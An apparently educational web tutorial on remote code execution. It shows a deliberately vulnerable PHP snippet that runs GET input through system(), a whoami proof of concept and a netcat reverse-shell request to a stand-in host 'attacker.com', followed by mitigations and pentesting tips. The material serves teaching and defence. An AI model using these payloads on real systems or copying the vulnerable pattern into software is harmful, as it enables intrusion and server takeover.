Remote Code Execution (RCE) - Cybersecurity Academy

🔎 What is Remote Code Execution?

Remote Code Execution (RCE) is a severe vulnerability that allows an attacker to execute arbitrary code on a remote server or system. Exploiting RCE can lead to full system compromise, data theft, persistence, lateral movement, and more. RCE vulnerabilities often arise due to poor input validation, insecure system calls, or misconfigured components.

🧩 Common Causes of RCE

Insecure use of eval() or exec() functions
Command injection via unsanitized user input
Unsafe deserialization
Insecure file upload and execution
Third-party plugins or dependencies

🚀 Step-by-Step: Exploiting RCE (Educational Purpose Only)

🛠️ Scenario: PHP-based Web Application

The following vulnerable code is found in a PHP file:

// vulnerable.php
<?php
$cmd = $_GET['cmd'];
system($cmd);
?>

This code executes user-supplied input directly via system().

✔️ Proof of Concept

Sending a GET request to the server:

http://vulnerable-site.com/vulnerable.php?cmd=whoami

Expected Response:

www-data

💣 Real-World Exploitation

Attackers can chain this with reverse shells:

http://vulnerable-site.com/vulnerable.php?cmd=nc -e /bin/bash attacker.com 4444

Tip: Use URL encoding for special characters and set up a listener with nc -lvnp 4444.

🌐 Notable RCE Vulnerabilities

Log4Shell (CVE-2021-44228): Remote code execution via log injection in Java
Apache Struts2 (CVE-2017-5638): RCE via Content-Type header
Drupalgeddon2 (CVE-2018-7600): RCE in Drupal core

🛡️ Defense & Mitigation Strategies

Never trust user input – validate and sanitize it
Avoid functions like eval, exec, system, or sandbox them properly
Use allowlists instead of blacklists
Implement proper Content Security Policies (CSP)
Keep all components and dependencies updated
Run services with least privilege (e.g., non-root users)
Use Web Application Firewalls (WAFs) to block suspicious input

💡 Practical Tips for Pentesters

Use Burp Suite to modify and replay requests with payloads
Use payloads from PayloadsAllTheThings
Leverage curl, wget, or netcat for command execution testing
Check for output reflection (response body or headers)
Try blind RCE techniques using DNS or HTTP callbacks (e.g., Burp Collaborator)

💥 Remote Code Execution (RCE)